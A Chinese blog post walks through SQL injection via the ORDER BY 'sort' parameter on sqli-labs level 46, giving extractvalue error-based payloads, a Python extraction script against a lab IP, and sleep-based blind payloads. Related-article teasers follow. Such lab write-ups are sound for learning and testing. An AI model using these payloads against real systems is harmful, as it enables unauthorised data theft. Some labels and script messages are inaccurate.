关于order by的sql注入实验

news/2025/2/24 7:37:18

实验描述

本实验基于sqli-lab的第46关进行测试

本关的sql 语句为$sql = "SELECT * FROM users ORDER BY $id"

利用sort进行sql注入,我们可以利用报错注入,延时注入来爆出数据

1.报错注入

1.手工测试

爆出数据库

?sort=(extractvalue(1, concat(0x7e, (select schema_name from information_schema.schemata limit 1,1))))

爆出数据库中的表

?sort=(extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1))))

 爆出表中的列

?sort=(extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1))))

爆出列值

?sort=(extractvalue(1,concat(0x7e,(select username from users where id=1))))

2.代码实现

import requests
import re

# 目标URL (根据实际环境修改)
target_url = "http://172.25.254.145/sqli-labs-php7-master/Less-46/"


def extract_database_name():
    database_names = []
    index = 0
    while True:
        # 构造注入Payload
        payload = {
            "sort": f"(extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit {index},1))))"
        }
        try:
            # 发送GET请求
            response = requests.get(target_url, params=payload, timeout=10)
            response.raise_for_status()

            # 正则匹配错误信息中的数据库名
            error_pattern = r"XPATH syntax error: '~([^']+)"
            match = re.search(error_pattern, response.text)

            if match:
                db_name = match.group(1)
                database_names.append(db_name)
                print(f"成功提取数据库名: {db_name}")
                index += 1
            else:
                if index == 0:
                    print("找到数据库名,可能漏洞不存在或错误信息被隐藏")
                else:
                    print("已提取所有数据库名")
                break

        except requests.exceptions.Timeout:
            print(f"[-] 请求超时,索引为 {index},继续尝试...")
        except requests.exceptions.HTTPError as http_err:
            print(f"[-] HTTP请求错误,索引为 {index}: {http_err}")
        except requests.exceptions.RequestException as e:
            print(f"[-] 请求失败,索引为 {index}: {e}")

    return database_names


if __name__ == "__main__":
    all_database_names = extract_database_name()

结果

 同理,修改sql注入语句,即可爆出所有的数据信息

2.布尔盲注

错误按照username执行排序,否则结果正确

正确结果如下

错误结果如下

判断当前数据库的名称 

?sort=if((substr(database(),1,1)='s'),(select 1 from (select sleep(2)) as b),username)

判断第一个数据库的名称

?sort=if((ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105),(select 1 from (select sleep(2)) as b),username)

爆出数据库表(emali表)

?sort=if((ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101),(select 1 from (select sleep(2)) as b),username)

爆出列值(USER)

?sort=if((ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=101),(select 1 from (select sleep(2)) as b),username)

 根据上述sql语句可以获得数据库的信息


http://www.niftyadmin.cn/n/5864090.html

相关文章

计算机网络真题练习(高软29)

系列文章目录 计算机网络阶段练习 文章目录 系列文章目录前言一、真题练习总结 前言 计算机网络的阶段练习题,带解析答案。 一、真题练习 总结 就是高软笔记,大佬请略过!

【MySQL 一 数据库基础】深入解析 MySQL 的索引(3)

索引 索引操作 自动创建 当我们为一张表加主键约束(Primary key),外键约束(Foreign Key),唯一约束(Unique)时,MySQL会为对应的的列自动创建一个索引;如果表不指定任何约束时,MySQL会自动为每一列生成一个索引并用ROW_I…

使用大语言模型(Deepseek)构建一个基于 SQL 数据的问答系统

GitHub代码仓库 架构 从高层次来看,这些系统的步骤如下: 将问题转换为SQL查询:模型将用户输入转换为SQL查询。 执行SQL查询:执行查询。 回答问题:模型根据查询结果响应用户输入。 样本数据 下载样本数据&#xf…

OutOfMemoryError unable to create new native thread

现象 生产环境大量的报OutOfMemoryError: unable to create new native thread Caused by: java.lang.OutOfMemoryError: unable to create new native threadat java.lang.Thread.start0(Native Method) [na:1.8.0_291]at java.lang.Thread.start(Thread.java:717) [na:1.8.…

w803|联盛德|WM IoT SDK2.X测试|window11|TOML 文件|外设|TFT_LCD|测试任务|(5):TFT_LCD_LVGL示例

TFT_LCD_LVGL 功能概述 此应用程序是使用 WM IoT SDK 进行 LVGL 功能的示例。它演示了如何初始化 TFT LCD 设备,并创建 LVGL DEMO Task 进行 LVGL 模块的初始化,并展示 LVGL 原生的不同 Demo 场景, 例如: Widgets, Music Player, Benchmark…

跟着 Lua 5.1 官方参考文档学习 Lua (8)

文章目录 4 – The Auxiliary Library4.1 – Functions and Types字符串缓冲区luaL_BufferluaL_buffinitluaL_addcharluaL_addstringluaL_addlstringluaL_addvalueluaL_prepbufferluaL_addsizeluaL_pushresult例子:luaL_Buffer 的使用 函数参数检查luaL_argchecklua…

SQL ①-数据库 || MySQL

这里是Themberfue 数据库 ✨进入到目前的学习阶段中,数据库相信大家并不陌生,但是如果要说出概念的话那可能还是有点困难的,这里我就简单罗列出数据的一些相关概念,虽然这部分内容只是理论知识,但是非常重要。 &…

AI探索笔记:浅谈人工智能算法分类

人工智能算法分类 这是一张经典的图片,基本概况了人工智能算法的现状。这张图片通过三个同心圆展示了人工智能、机器学习和深度学习之间的包含关系,其中人工智能是最广泛的范畴,机器学习是其子集,专注于数据驱动的算法改进&#…